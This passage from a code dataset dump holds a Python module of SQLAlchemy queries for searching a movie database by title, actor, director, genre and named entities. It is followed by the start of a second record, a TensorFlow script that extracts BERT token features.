session.query(Movie)\n query = query.filter(Movie.tmdb_id == tmdb_id)\n print(query)\n result = query.all()\n return result\n\n\ndef select_movies_by_people_id(session, tmdb_id):\n query = session.query(Movie).join(Movie.credits).filter(Credit.people_id == tmdb_id)\n result = query.all()\n return result\n\n\ndef select_movies_by_actor_name(session, actor, date_from=None, date_to=None, match_actor=False):\n query = session.query(Movie, Person).join(Movie.credits).join(Credit.type).join(Credit.people)\n actor = f'%{actor.lower()}%'\n if match_actor is True:\n query = query.filter(Person.name.match(actor))\n else:\n query = query.filter(sqlalchemy.func.lower(Person.name).like(actor))\n query = query.filter(CreditType.name.match('cast'))\n if date_from is not None:\n query = query.filter(Movie.release_date >= date_from)\n if (date_to is not None):\n query = query.filter(Movie.release_date <= date_to)\n # print(query)\n result = query.order_by(Movie.vote_count.desc()).all()\n return result\n\n\ndef select_movies_by_actors_or(session, actors, date_from=None, date_to=None, limit=100):\n filters = []\n for e in actors:\n filters.append(sqlalchemy.func.lower(Person.name) == sqlalchemy.func.lower(e))\n\n sub_actors = session.query(Movie.tmdb_id).join(Movie.credits).join(Credit.people).filter(\n Credit.credit_type_id == 'cast')\n sub_actors = sub_actors.filter(or_(*filters))\n if date_from is not None:\n sub_actors = sub_actors.filter(Movie.release_date >= date_from)\n if (date_to is not None):\n sub_actors = sub_actors.filter(Movie.release_date <= date_to)\n query = session.query(Movie).where(Movie.tmdb_id.in_(sub_actors.subquery()))\n # print(query)\n return query.order_by(Movie.vote_count.desc()).limit(limit).all()\n\n\ndef select_movies_directed_by(session, directors, date_from=None, date_to=None, limit=100):\n filters = []\n for e in directors:\n filters.append(sqlalchemy.func.lower(Person.name) == sqlalchemy.func.lower(e))\n\n sub_actors = session.query(Movie.tmdb_id).join(Movie.credits).join(Credit.people).filter(\n Credit.credit_type_id == 'crew').filter(Credit.credit_job_id == 'Director')\n sub_actors = sub_actors.filter(or_(*filters))\n if date_from is not None:\n sub_actors = sub_actors.filter(Movie.release_date >= date_from)\n if (date_to is not None):\n sub_actors = sub_actors.filter(Movie.release_date <= date_to)\n query = session.query(Movie).where(Movie.tmdb_id.in_(sub_actors.subquery()))\n # print(query)\n return query.order_by(Movie.vote_count.desc()).limit(limit).all()\n\n\ndef select_movies_by_named_entities_description(session, entities):\n query = session.query(Movie).join(Movie.named_entities)\n filters = []\n for e in entities:\n filters.append(NamedEntity.value == e)\n query = query.order_by(Movie.vote_count.desc()).filter(or_(*filters))\n\n result = query.all()\n return result\n\n\ndef select_movies_by_named_entity_reviews(session, entities):\n query = session.query(Movie).join(Movie.reviews).join(Review.named_entities)\n filters = []\n for e in entities:\n filters.append(sqlalchemy.func.lower(NamedEntity.value) == sqlalchemy.func.lower(e))\n query = query.filter(or_(*filters))\n # print(query)\n result = query.order_by(Movie.vote_count.desc()).all()\n return result\n\n\ndef select_movies_by_named_entities(session, entities, limit=100):\n \"\"\"\n\n :param session:\n :param entities:\n :return: zwraca liste filmow na podstawie znalezionych named entities w opisie filmu i review\n \"\"\"\n filters = []\n for e in entities:\n filters.append(sqlalchemy.func.lower(NamedEntity.value) == sqlalchemy.func.lower(e))\n\n sub_description = session.query(Movie.tmdb_id).join(Movie.named_entities)\n sub_description = sub_description.filter(or_(*filters))\n sub_reviews = session.query(Movie.tmdb_id).join(Movie.reviews).join(Review.named_entities)\n sub_reviews = sub_reviews.filter(or_(*filters))\n\n union = sub_description.union(sub_reviews)\n query = session.query(Movie).where(Movie.tmdb_id.in_(union))\n return query.order_by(Movie.vote_count.desc()).limit(limit).all()\n\n\ndef select_movies_by_named_entities_or(session, entities, limit=100):\n filters = []\n for e in entities:\n filters.append(sqlalchemy.func.lower(NamedEntity.value) == sqlalchemy.func.lower(e))\n\n sub_description = session.query(Movie.tmdb_id).join(Movie.named_entities)\n sub_description = sub_description.filter(or_(*filters))\n\n query = session.query(Movie).where(Movie.tmdb_id.in_(sub_description.subquery()))\n return query.order_by(Movie.vote_count.desc()).limit(limit).all()\n\n\ndef select_movies_by_named_entities_and(session, entities):\n query = session.query(Movie)\n for e in entities:\n sub = session.query(MoviesToNamedEntities.movie_id).join(NamedEntity).filter(NamedEntity.value == e)\n subquery = sub.subquery()\n query = query.filter(Movie.tmdb_id.in_(subquery))\n result = query.order_by(Movie.vote_count.desc()).all()\n return result\n\n\ndef select_movies_by_two_actors(session, actors, date_from=None, date_to=None):\n query = session.query(Movie)\n for e in actors:\n e = f'%{e.lower()}%'\n sub = session.query(Credit.movie_id).join(Person).filter(sqlalchemy.func.lower(Person.name).like(e)).filter(\n Credit.credit_type_id == 'cast')\n subquery = sub.subquery()\n query = query.filter(Movie.tmdb_id.in_(subquery))\n if date_from is not None:\n query = query.filter(Movie.release_date >= date_from)\n if (date_to is not None):\n query = query.filter(Movie.release_date <= date_to)\n result = query.order_by(Movie.vote_count.desc()).all()\n return result\n\n\ndef not_used_select_movies_by_named_entities_and(session, entities):\n filters = []\n for e in entities:\n filters.append(sqlalchemy.func.lower(NamedEntity.value) == sqlalchemy.func.lower(e))\n\n sub_description = session.query(Movie.tmdb_id).join(Movie.named_entities)\n sub_description = sub_description.filter(and_(*filters))\n sub_reviews = session.query(Movie.tmdb_id).join(Movie.reviews).join(Review.named_entities)\n sub_reviews = sub_reviews.filter(and_(*filters))\n\n union = sub_description.union(sub_reviews)\n query = session.query(Movie).where(Movie.tmdb_id.in_(union))\n return query.order_by(Movie.vote_count.desc()).all()\n\n\ndef select_movies_by_genres_or(session, genres, limit=20):\n for g in genres:\n g = g.lower()\n query = session.query(Movie).join(Movie.genres)\n query = query.where(sqlalchemy.func.lower(Genre.name).in_(genres))\n query = query.order_by(Movie.vote_count.desc()).limit(limit)\n result = query.all()\n return result\n\n\ndef select_movies_by_genres_and(session, genres, limit=20):\n query = session.query(Movie)\n for g in genres:\n g = g.lower()\n sub = session.query(Movie.tmdb_id).join(Movie.genres).filter(sqlalchemy.func.lower(Genre.name) == g)\n subquery = sub.subquery()\n query = query.filter(Movie.tmdb_id.in_(subquery))\n query = query.order_by(Movie.vote_count.desc()).limit(limit)\n result = query.all()\n return result\n\n\ndef get_movie_details(session, id):\n movie = session.query(Movie).filter(Movie.tmdb_id == id).scalar()\n query = session.query(Credit, Person).join(Person.credits).filter(Credit.movie_id == id)\n query = query.filter(Credit.credit_department_id == None).order_by(Person.popularity.desc())\n cast = query.all()\n query = session.query(Credit, Person).join(Person.credits).filter(Credit.movie_id == id)\n query = query.filter(Credit.credit_department_id.isnot(None)).order_by(Person.popularity.desc())\n crew = query.all()\n return movie, cast, crew\n\n\nif __name__ == \"__main__\":\n # get_movie_details(182)\n engine = sqlalchemy.create_engine(configuration.conn_string)\n with Session(engine) as session:\n # # result=select_movies_by_title(session, 'Ram', date_from='1980-01-12', date_to='2012-11-11')\n # # result=select_movies_by_actor_name(session, \"Polanski\")\n # # result=select_movies_by_named_entities(session, [\"nakatomi plaza\", \"jaws\"])\n # # result=select_movies_by_genres_and(session, ['horror', 'comedy'])\n # result = select_movie_by_id(session, 8891)\n result = select_movies_directed_by(session, ['Sylvester Stallone', 'Roman Polanski'])\n for i, k in enumerate(result):\n print(i, k)\n # for j in k:\n # print(j,k[j])\n", "repo_name": "mrszwed/movies_database_python", "sub_path": "queries/query_movies.py", "file_name": "query_movies.py", "file_ext": "py", "file_size_in_byte": 9858, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "model.movie.Movie", "line_number": 22, "usage_type": "argument"}, {"api_name": "model.movie.Movie.title.match", "line_number": 25, "usage_type": "call"}, {"api_name": "model.movie.Movie.title", "line_number": 25, "usage_type": "attribute"}, {"api_name": "model.movie.Movie", "line_number": 25, "usage_type": "name"}, {"api_name": "sqlalchemy.func.lower", "line_number": 27, "usage_type": "call"}, {"api_name": "sqlalchemy.func", "line_number": 27, "usage_type": "attribute"}, {"api_name": "model.movie.Movie.title", "line_number": 27, "usage_type": "attribute"}, {"api_name": "model.movie.Movie", "line_number": 27, "usage_type": "name"}, {"api_name": "model.movie.Movie.release_date", "line_number": 29, "usage_type": "attribute"}, {"api_name": "model.movie.Movie", "line_number": 29, "usage_type": "name"}, {"api_name": "model.movie.Movie.release_date", "line_number": 31, "usage_type": "attribute"}, {"api_name": "model.movie.Movie", "line_number": 31, "usage_type": "name"}, {"api_name": "model.movie.Movie.vote_count.desc", "line_number": 32, "usage_type": "call"}, {"api_name": "model.movie.Movie.vote_count", "line_number": 32, "usage_type": "attribute"}, {"api_name": "model.movie.Movie", "line_number": 32, "usage_type": "name"}, {"api_name": "model.movie.Movie", "line_number": 37, "usage_type": "argument"}, {"api_name": "model.movie.Movie.tmdb_id", "line_number": 38, "usage_type": "attribute"}, {"api_name": "model.movie.Movie", "line_number": 38, "usage_type": "name"}, {"api_name": "model.movie.Movie", "line_number": 45, "usage_type": "argument"}, {"api_name": "model.movie.Movie.credits", "line_number": 45, "usage_type": "attribute"}, {"api_name": "model.credit.Credit.people_id", "line_number": 45, "usage_type": "attribute"}, {"api_name": "model.credit.Credit", "line_number": 45, "usage_type": "name"}, {"api_name": "model.movie.Movie", "line_number": 51, "usage_type": "argument"}, {"api_name": "model.person.Person", "line_number": 51, "usage_type": "argument"}, {"api_name": "model.movie.Movie.credits", "line_number": 51, "usage_type": "attribute"}, {"api_name": "model.credit.Credit.type", "line_number": 51, "usage_type": "attribute"}, {"api_name": "model.credit.Credit", "line_number": 51, "usage_type": "name"}, {"api_name": "model.credit.Credit.people", "line_number": 51, "usage_type": "attribute"}, {"api_name": "model.person.Person.name.match", "line_number": 54, "usage_type": "call"}, {"api_name": "model.person.Person.name", "line_number": 54, "usage_type": "attribute"}, {"api_name": "model.person.Person", "line_number": 54, "usage_type": "name"}, {"api_name": "sqlalchemy.func.lower", "line_number": 56, "usage_type": "call"}, {"api_name": "sqlalchemy.func", "line_number": 56, "usage_type": "attribute"}, {"api_name": "model.person.Person.name", "line_number": 56, "usage_type": "attribute"}, {"api_name": "model.person.Person", "line_number": 56, "usage_type": "name"}, {"api_name": "model.credit_type.CreditType.name.match", "line_number": 57, "usage_type": "call"}, {"api_name": "model.credit_type.CreditType.name", "line_number": 57, "usage_type": "attribute"}, {"api_name": "model.credit_type.CreditType", "line_number": 57, "usage_type": "name"}, {"api_name": "model.movie.Movie.release_date", "line_number": 59, "usage_type": "attribute"}, {"api_name": "model.movie.Movie", "line_number": 59, "usage_type": "name"}, {"api_name": "model.movie.Movie.release_date", "line_number": 61, "usage_type": "attribute"}, {"api_name": "model.movie.Movie", "line_number": 61, "usage_type": "name"}, {"api_name": "model.movie.Movie.vote_count.desc", "line_number": 63, "usage_type": "call"}, {"api_name": "model.movie.Movie.vote_count", "line_number": 63, "usage_type": "attribute"}, {"api_name": "model.movie.Movie", "line_number": 63, "usage_type": "name"}, {"api_name": "sqlalchemy.func.lower", "line_number": 70, "usage_type": "call"}, {"api_name": "sqlalchemy.func", "line_number": 70, "usage_type": "attribute"}, {"api_name": "model.person.Person.name", "line_number": 70, "usage_type": "attribute"}, {"api_name": "model.person.Person", "line_number": 70, "usage_type": "name"}, {"api_name": "model.movie.Movie.tmdb_id", "line_number": 72, "usage_type": "attribute"}, {"api_name": "model.movie.Movie", "line_number": 72, "usage_type": "name"}, {"api_name": "model.movie.Movie.credits", "line_number": 72, "usage_type": "attribute"}, {"api_name": "model.credit.Credit.people", "line_number": 72, "usage_type": "attribute"}, {"api_name": "model.credit.Credit", "line_number": 72, "usage_type": "name"}, {"api_name": "model.credit.Credit.credit_type_id", "line_number": 73, "usage_type": "attribute"}, {"api_name": "model.credit.Credit", "line_number": 73, "usage_type": "name"}, {"api_name": "sqlalchemy.or_", "line_number": 74, "usage_type": "call"}, {"api_name": "model.movie.Movie.release_date", "line_number": 76, "usage_type": "attribute"}, {"api_name": "model.movie.Movie", "line_number": 76, "usage_type": "name"}, {"api_name": "model.movie.Movie.release_date", "line_number": 78, "usage_type": "attribute"}, {"api_name": "model.movie.Movie", "line_number": 78, "usage_type": "name"}, {"api_name": "model.movie.Movie", "line_number": 79, "usage_type": "argument"}, {"api_name": "model.movie.Movie.tmdb_id.in_", "line_number": 79, "usage_type": "call"}, {"api_name": "model.movie.Movie.tmdb_id", "line_number": 79, "usage_type": "attribute"}, {"api_name": "model.movie.Movie.vote_count.desc", "line_number": 81, "usage_type": "call"}, {"api_name": "model.movie.Movie.vote_count", "line_number": 81, "usage_type": "attribute"}, {"api_name": "model.movie.Movie", "line_number": 81, "usage_type": "name"}, {"api_name": "sqlalchemy.func.lower", "line_number": 87, "usage_type": "call"}, {"api_name": "sqlalchemy.func", "line_number": 87, "usage_type": "attribute"}, {"api_name": "model.person.Person.name", "line_number": 87, "usage_type": "attribute"}, {"api_name": "model.person.Person", "line_number": 87, "usage_type": "name"}, {"api_name": "model.movie.Movie.tmdb_id", "line_number": 89, "usage_type": "attribute"}, {"api_name": "model.movie.Movie", "line_number": 89, "usage_type": "name"}, {"api_name": "model.movie.Movie.credits", "line_number": 89, "usage_type": "attribute"}, {"api_name": "model.credit.Credit.people", "line_number": 89, "usage_type": "attribute"}, {"api_name": "model.credit.Credit", "line_number": 89, "usage_type": "name"}, {"api_name": "model.credit.Credit.credit_type_id", "line_number": 90, "usage_type": "attribute"}, {"api_name": "model.credit.Credit", "line_number": 90, "usage_type": "name"}, {"api_name": "model.credit.Credit.credit_job_id", "line_number": 90, "usage_type": "attribute"}, {"api_name": "sqlalchemy.or_", "line_number": 91, "usage_type": "call"}, {"api_name": "model.movie.Movie.release_date", "line_number": 93, "usage_type": "attribute"}, {"api_name": "model.movie.Movie", "line_number": 93, "usage_type": "name"}, {"api_name": "model.movie.Movie.release_date", "line_number": 95, "usage_type": "attribute"}, {"api_name": "model.movie.Movie", "line_number": 95, "usage_type": "name"}, {"api_name": "model.movie.Movie", "line_number": 96, "usage_type": "argument"}, {"api_name": "model.movie.Movie.tmdb_id.in_", "line_number": 96, "usage_type": "call"}, {"api_name": "model.movie.Movie.tmdb_id", "line_number": 96, "usage_type": "attribute"}, {"api_name": "model.movie.Movie.vote_count.desc", "line_number": 98, "usage_type": "call"}, {"api_name": "model.movie.Movie.vote_count", "line_number": 98, "usage_type": "attribute"}, {"api_name": "model.movie.Movie", "line_number": 98, "usage_type": "name"}, {"api_name": "model.movie.Movie", "line_number": 102, "usage_type": "argument"}, {"api_name": "model.movie.Movie.named_entities", "line_number": 102, "usage_type": "attribute"}, {"api_name": "model.named_entity.NamedEntity.value", "line_number": 105, "usage_type": "attribute"}, {"api_name": "model.named_entity.NamedEntity", "line_number": 105, "usage_type": "name"}, {"api_name": "model.movie.Movie.vote_count.desc", "line_number": 106, "usage_type": "call"}, {"api_name": "model.movie.Movie.vote_count", "line_number": 106, "usage_type": "attribute"}, {"api_name": "model.movie.Movie", "line_number": 106, "usage_type": "name"}, {"api_name": "sqlalchemy.or_", "line_number": 106, "usage_type": "call"}, {"api_name": "model.movie.Movie", "line_number": 113, "usage_type": "argument"}, {"api_name": "model.movie.Movie.reviews", "line_number": 113, "usage_type": "attribute"}, {"api_name": "model.reviews.Review.named_entities", "line_number": 113, "usage_type": "attribute"}, {"api_name": "model.reviews.Review", "line_number": 113, "usage_type": "name"}, {"api_name": "sqlalchemy.func.lower", "line_number": 116, "usage_type": "call"}, {"api_name": "sqlalchemy.func", "line_number": 116, "usage_type": "attribute"}, {"api_name": "model.named_entity.NamedEntity.value", "line_number": 116, "usage_type": "attribute"}, {"api_name": "model.named_entity.NamedEntity", "line_number": 116, "usage_type": "name"}, {"api_name": "sqlalchemy.or_", "line_number": 117, "usage_type": "call"}, {"api_name": "model.movie.Movie.vote_count.desc", "line_number": 119, "usage_type": "call"}, {"api_name": "model.movie.Movie.vote_count", "line_number": 119, "usage_type": "attribute"}, {"api_name": "model.movie.Movie", "line_number": 119, "usage_type": "name"}, {"api_name": "sqlalchemy.func.lower", "line_number": 132, "usage_type": "call"}, {"api_name": "sqlalchemy.func", "line_number": 132, "usage_type": "attribute"}, {"api_name": "model.named_entity.NamedEntity.value", "line_number": 132, "usage_type": "attribute"}, {"api_name": "model.named_entity.NamedEntity", "line_number": 132, "usage_type": "name"}, {"api_name": "model.movie.Movie.tmdb_id", "line_number": 134, "usage_type": "attribute"}, {"api_name": "model.movie.Movie", "line_number": 134, "usage_type": "name"}, {"api_name": "model.movie.Movie.named_entities", "line_number": 134, "usage_type": "attribute"}, {"api_name": "sqlalchemy.or_", "line_number": 135, "usage_type": "call"}, {"api_name": "model.movie.Movie.tmdb_id", "line_number": 136, "usage_type": "attribute"}, {"api_name": "model.movie.Movie", "line_number": 136, "usage_type": "name"}, {"api_name": "model.movie.Movie.reviews", "line_number": 136, "usage_type": "attribute"}, {"api_name": "model.reviews.Review.named_entities", "line_number": 136, "usage_type": "attribute"}, {"api_name": "model.reviews.Review", "line_number": 136, "usage_type": "name"}, {"api_name": "sqlalchemy.or_", "line_number": 137, "usage_type": "call"}, {"api_name": "model.movie.Movie", "line_number": 140, "usage_type": "argument"}, {"api_name": "model.movie.Movie.tmdb_id.in_", "line_number": 140, "usage_type": "call"}, {"api_name": "model.movie.Movie.tmdb_id", "line_number": 140, "usage_type": "attribute"}, {"api_name": "model.movie.Movie.vote_count.desc", "line_number": 141, "usage_type": "call"}, {"api_name": "model.movie.Movie.vote_count", "line_number": 141, "usage_type": "attribute"}, {"api_name": "model.movie.Movie", "line_number": 141, "usage_type": "name"}, {"api_name": "sqlalchemy.func.lower", "line_number": 147, "usage_type": "call"}, {"api_name": "sqlalchemy.func", "line_number": 147, "usage_type": "attribute"}, {"api_name": "model.named_entity.NamedEntity.value", "line_number": 147, "usage_type": "attribute"}, {"api_name": "model.named_entity.NamedEntity", "line_number": 147, "usage_type": "name"}, {"api_name": "model.movie.Movie.tmdb_id", "line_number": 149, "usage_type": "attribute"}, {"api_name": "model.movie.Movie", "line_number": 149, "usage_type": "name"}, {"api_name": "model.movie.Movie.named_entities", "line_number": 149, "usage_type": "attribute"}, {"api_name": "sqlalchemy.or_", "line_number": 150, "usage_type": "call"}, {"api_name": "model.movie.Movie", "line_number": 152, "usage_type": "argument"}, {"api_name": "model.movie.Movie.tmdb_id.in_", "line_number": 152, "usage_type": "call"}, {"api_name": "model.movie.Movie.tmdb_id", "line_number": 152, "usage_type": "attribute"}, {"api_name": "model.movie.Movie.vote_count.desc", "line_number": 153, "usage_type": "call"}, {"api_name": "model.movie.Movie.vote_count", "line_number": 153, "usage_type": "attribute"}, {"api_name": "model.movie.Movie", "line_number": 153, "usage_type": "name"}, {"api_name": "model.movie.Movie", "line_number": 157, "usage_type": "argument"}, {"api_name": "model.named_entity.NamedEntity", "line_number": 159, "usage_type": "argument"}, {"api_name": "model.movies_to_named_entities.MoviesToNamedEntities.movie_id", "line_number": 159, "usage_type": "attribute"}, {"api_name": "model.movies_to_named_entities.MoviesToNamedEntities", "line_number": 159, "usage_type": "name"}, {"api_name": "model.named_entity.NamedEntity.value", "line_number": 159, "usage_type": "attribute"}, {"api_name": "model.movie.Movie.tmdb_id.in_", "line_number": 161, "usage_type": "call"}, {"api_name": "model.movie.Movie.tmdb_id", "line_number": 161, "usage_type": "attribute"}, {"api_name": "model.movie.Movie", "line_number": 161, "usage_type": "name"}, {"api_name": "model.movie.Movie.vote_count.desc", "line_number": 162, "usage_type": "call"}, {"api_name": "model.movie.Movie.vote_count", "line_number": 162, "usage_type": "attribute"}, {"api_name": "model.movie.Movie", "line_number": 162, "usage_type": "name"}, {"api_name": "model.movie.Movie", "line_number": 167, "usage_type": "argument"}, {"api_name": "model.person.Person", "line_number": 170, "usage_type": "argument"}, {"api_name": "model.credit.Credit.movie_id", "line_number": 170, "usage_type": "attribute"}, {"api_name": "model.credit.Credit", "line_number": 170, "usage_type": "name"}, {"api_name": "sqlalchemy.func.lower", "line_number": 170, "usage_type": "call"}, {"api_name": "sqlalchemy.func", "line_number": 170, "usage_type": "attribute"}, {"api_name": "model.person.Person.name", "line_number": 170, "usage_type": "attribute"}, {"api_name": "model.credit.Credit.credit_type_id", "line_number": 171, "usage_type": "attribute"}, {"api_name": "model.credit.Credit", "line_number": 171, "usage_type": "name"}, {"api_name": "model.movie.Movie.tmdb_id.in_", "line_number": 173, "usage_type": "call"}, {"api_name": "model.movie.Movie.tmdb_id", "line_number": 173, "usage_type": "attribute"}, {"api_name": "model.movie.Movie", "line_number": 173, "usage_type": "name"}, {"api_name": "model.movie.Movie.release_date", "line_number": 175, "usage_type": "attribute"}, {"api_name": "model.movie.Movie", "line_number": 175, "usage_type": "name"}, {"api_name": "model.movie.Movie.release_date", "line_number": 177, "usage_type": "attribute"}, {"api_name": "model.movie.Movie", "line_number": 177, "usage_type": "name"}, {"api_name": "model.movie.Movie.vote_count.desc", "line_number": 178, "usage_type": "call"}, {"api_name": "model.movie.Movie.vote_count", "line_number": 178, "usage_type": "attribute"}, {"api_name": "model.movie.Movie", "line_number": 178, "usage_type": "name"}, {"api_name": "sqlalchemy.func.lower", "line_number": 185, "usage_type": "call"}, {"api_name": "sqlalchemy.func", "line_number": 185, "usage_type": "attribute"}, {"api_name": "model.named_entity.NamedEntity.value", "line_number": 185, "usage_type": "attribute"}, {"api_name": "model.named_entity.NamedEntity", "line_number": 185, "usage_type": "name"}, {"api_name": "model.movie.Movie.tmdb_id", "line_number": 187, "usage_type": "attribute"}, {"api_name": "model.movie.Movie", "line_number": 187, "usage_type": "name"}, {"api_name": "model.movie.Movie.named_entities", "line_number": 187, "usage_type": "attribute"}, {"api_name": "sqlalchemy.and_", "line_number": 188, "usage_type": "call"}, {"api_name": "model.movie.Movie.tmdb_id", "line_number": 189, "usage_type": "attribute"}, {"api_name": "model.movie.Movie", "line_number": 189, "usage_type": "name"}, {"api_name": "model.movie.Movie.reviews", "line_number": 189, "usage_type": "attribute"}, {"api_name": "model.reviews.Review.named_entities", "line_number": 189, "usage_type": "attribute"}, {"api_name": "model.reviews.Review", "line_number": 189, "usage_type": "name"}, {"api_name": "sqlalchemy.and_", "line_number": 190, "usage_type": "call"}, {"api_name": "model.movie.Movie", "line_number": 193, "usage_type": "argument"}, {"api_name": "model.movie.Movie.tmdb_id.in_", "line_number": 193, "usage_type": "call"}, {"api_name": "model.movie.Movie.tmdb_id", "line_number": 193, "usage_type": "attribute"}, {"api_name": "model.movie.Movie.vote_count.desc", "line_number": 194, "usage_type": "call"}, {"api_name": "model.movie.Movie.vote_count", "line_number": 194, "usage_type": "attribute"}, {"api_name": "model.movie.Movie", "line_number": 194, "usage_type": "name"}, {"api_name": "model.movie.Movie", "line_number": 200, "usage_type": "argument"}, {"api_name": "model.movie.Movie.genres", "line_number": 200, "usage_type": "attribute"}, {"api_name": "sqlalchemy.func.lower", "line_number": 201, "usage_type": "call"}, {"api_name": "sqlalchemy.func", "line_number": 201, "usage_type": "attribute"}, {"api_name": "model.genre.Genre.name", "line_number": 201, "usage_type": "attribute"}, {"api_name": "model.genre.Genre", "line_number": 201, "usage_type": "name"}, {"api_name": "model.movie.Movie.vote_count.desc", "line_number": 202, "usage_type": "call"}, {"api_name": "model.movie.Movie.vote_count", "line_number": 202, "usage_type": "attribute"}, {"api_name": "model.movie.Movie", "line_number": 202, "usage_type": "name"}, {"api_name": "model.movie.Movie", "line_number": 208, "usage_type": "argument"}, {"api_name": "model.movie.Movie.tmdb_id", "line_number": 211, "usage_type": "attribute"}, {"api_name": "model.movie.Movie", "line_number": 211, "usage_type": "name"}, {"api_name": "model.movie.Movie.genres", "line_number": 211, "usage_type": "attribute"}, {"api_name": "sqlalchemy.func.lower", "line_number": 211, "usage_type": "call"}, {"api_name": "sqlalchemy.func", "line_number": 211, "usage_type": "attribute"}, {"api_name": "model.genre.Genre.name", "line_number": 211, "usage_type": "attribute"}, {"api_name": "model.genre.Genre", "line_number": 211, "usage_type": "name"}, {"api_name": "model.movie.Movie.tmdb_id.in_", "line_number": 213, "usage_type": "call"}, {"api_name": "model.movie.Movie.tmdb_id", "line_number": 213, "usage_type": "attribute"}, {"api_name": "model.movie.Movie", "line_number": 213, "usage_type": "name"}, {"api_name": "model.movie.Movie.vote_count.desc", "line_number": 214, "usage_type": "call"}, {"api_name": "model.movie.Movie.vote_count", "line_number": 214, "usage_type": "attribute"}, {"api_name": "model.movie.Movie", "line_number": 214, "usage_type": "name"}, {"api_name": "model.movie.Movie", "line_number": 220, "usage_type": "argument"}, {"api_name": "model.movie.Movie.tmdb_id", "line_number": 220, "usage_type": "attribute"}, {"api_name": "model.credit.Credit", "line_number": 221, "usage_type": "argument"}, {"api_name": "model.person.Person", "line_number": 221, "usage_type": "argument"}, {"api_name": "model.person.Person.credits", "line_number": 221, "usage_type": "attribute"}, {"api_name": "model.credit.Credit.movie_id", "line_number": 221, "usage_type": "attribute"}, {"api_name": "model.credit.Credit.credit_department_id", "line_number": 222, "usage_type": "attribute"}, {"api_name": "model.credit.Credit", "line_number": 222, "usage_type": "name"}, {"api_name": "model.person.Person.popularity.desc", "line_number": 222, "usage_type": "call"}, {"api_name": "model.person.Person.popularity", "line_number": 222, "usage_type": "attribute"}, {"api_name": "model.person.Person", "line_number": 222, "usage_type": "name"}, {"api_name": "model.credit.Credit", "line_number": 224, "usage_type": "argument"}, {"api_name": "model.person.Person", "line_number": 224, "usage_type": "argument"}, {"api_name": "model.person.Person.credits", "line_number": 224, "usage_type": "attribute"}, {"api_name": "model.credit.Credit.movie_id", "line_number": 224, "usage_type": "attribute"}, {"api_name": "model.credit.Credit.credit_department_id.isnot", "line_number": 225, "usage_type": "call"}, {"api_name": "model.credit.Credit.credit_department_id", "line_number": 225, "usage_type": "attribute"}, {"api_name": "model.credit.Credit", "line_number": 225, "usage_type": "name"}, {"api_name": "model.person.Person.popularity.desc", "line_number": 225, "usage_type": "call"}, {"api_name": "model.person.Person.popularity", "line_number": 225, "usage_type": "attribute"}, {"api_name": "model.person.Person", "line_number": 225, "usage_type": "name"}, {"api_name": "sqlalchemy.create_engine", "line_number": 232, "usage_type": "call"}, {"api_name": "configuration.conn_string", "line_number": 232, "usage_type": "attribute"}, {"api_name": "sqlalchemy.orm.Session", "line_number": 233, "usage_type": "call"}]} {"seq_id": "37281357579", "text": "from globals import LAYERS, BERT_CONFIG, VOCAB_FILE, NUM_TPU_CORES, MAX_SEQ_LENGTH, INIT_CHECKPOINT, BATCH_SIZE\nfrom bert import modeling, tokenization\nimport tensorflow as tf\nfrom read_sequence import read_sequence\nfrom ex_to_features import convert_examples_to_features\nfrom model_func_builder import model_fn_builder, input_fn_builder\nimport collections\nimport numpy as np\n\n\ndef get_features(input_text, dim=768):\n layer_indexes = LAYERS\n\n bert_config = modeling.BertConfig.from_json_file(BERT_CONFIG)\n\n tokenizer = tokenization.FullTokenizer(\n vocab_file=VOCAB_FILE, do_lower_case=True\n )\n\n is_per_host = tf.compat.v1.estimator.tpu.InputPipelineConfig.PER_HOST_V2\n tpu_cluster_resolver = tf.distribute.cluster_resolver.TPUClusterResolver(TPU_ADDRESS)\n run_config = tf.contrib.tpu.RunConfig(\n cluster=tpu_cluster_resolver,\n tpu_config=tf.contrib.tpu.TPUConfig(\n num_shards=NUM_TPU_CORES,\n per_host_input_for_training=is_per_host))\n\n examples = read_sequence(input_text)\n\n features = convert_examples_to_features(\n examples=examples, seq_length=MAX_SEQ_LENGTH, tokenizer=tokenizer\n )\n\n unique_id_to_feature = {}\n for feature in features:\n unique_id_to_feature[feature.unique_id] = feature\n\n\n model_fn = model_fn_builder(\n bert_config=bert_config,\n init_checkpoint=INIT_CHECKPOINT,\n layer_indexes=layer_indexes,\n use_tpus=True,\n use_one_hot_embeddings=True\n )\n\n # If TPU is not available, this will fall back to normal Estimator on CPU or CPU\n estimator = tf.compat.v1.estimator.tpu.TPUEstimator(\n use_tpu=True,\n model_fn=model_fn,\n config=run_config,\n predict_batch_size=BATCH_SIZE,\n train_batch_size=BATCH_SIZE\n )\n\n input_fn = input_fn_builder(\n features=features, seq_length=MAX_SEQ_LENGTH\n )\n\n # GET Features\n for result in estimator.predict(input_fn, yield_single_examples=True):\n unique_id = int(result[\"unique_id\"])\n feature = unique_id_to_feature[unique_id]\n output = collections.OrderedDict()\n for (i, token) in enumerate(feature.tokens):\n layers = []\n for (j, layer_index) in enumerate(layer_indexes):\n layer_output = result[\"layer_output_%d\" % j]\n layer_output_flat = np.array([x for x in layer_output[i:(i + 1)].flat])\n layers.append(layer_output_flat)\n output[token] = sum(layers)[:dim]\n\n return output\n\n\nif __name__ == \"__main__\":\n get_embedding = get_features(input_text=\"I wish to fight a war\")\n print(get_embedding)\n", "repo_name": "rohit91-cdac/Automated_Use_Case_Inferencing_With_ML_Algoritm_Selection", "sub_path": "Object_Context_Building_Module/get_features.py", "file_name": "get_features.py", "file_ext": "py", "file_size_in_byte": 2652, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "globals.LAYERS", "line_number": 12, "usage_type": "name"}, {"api_name": "bert.modeling.BertConfig.from_json_file", "line_number": 14, "usage_type": "call"}, {"api_name": "globals.BERT_CONFIG", "line_number": 14, "usage_type": "argument"}, {"api_name": "bert.modeling.BertConfig", "line_number": 14, "usage_type": "attribute"}, {"api_name": "bert.modeling", "line_number": 14, "usage_type": "name"}, {"api_name": "bert.tokenization.FullTokenizer", "line_number": 16, "usage_type": "call"}, {"api_name": "bert.tokenization", "line_number": 16, "usage_type": "name"}, {"api_name": "globals.VOCAB_FILE", "line_number": 17, "usage_type": "name"}, {"api_name": "tensorflow.compat", "line_number": 20, "usage_type": "attribute"}, {"api_name": "tensorflow.distribute.cluster_resolver.TPUClusterResolver", "line_number": 21, "usage_type": "call"}, {"api_name": "tensorflow.distribute", "line_number": 21, 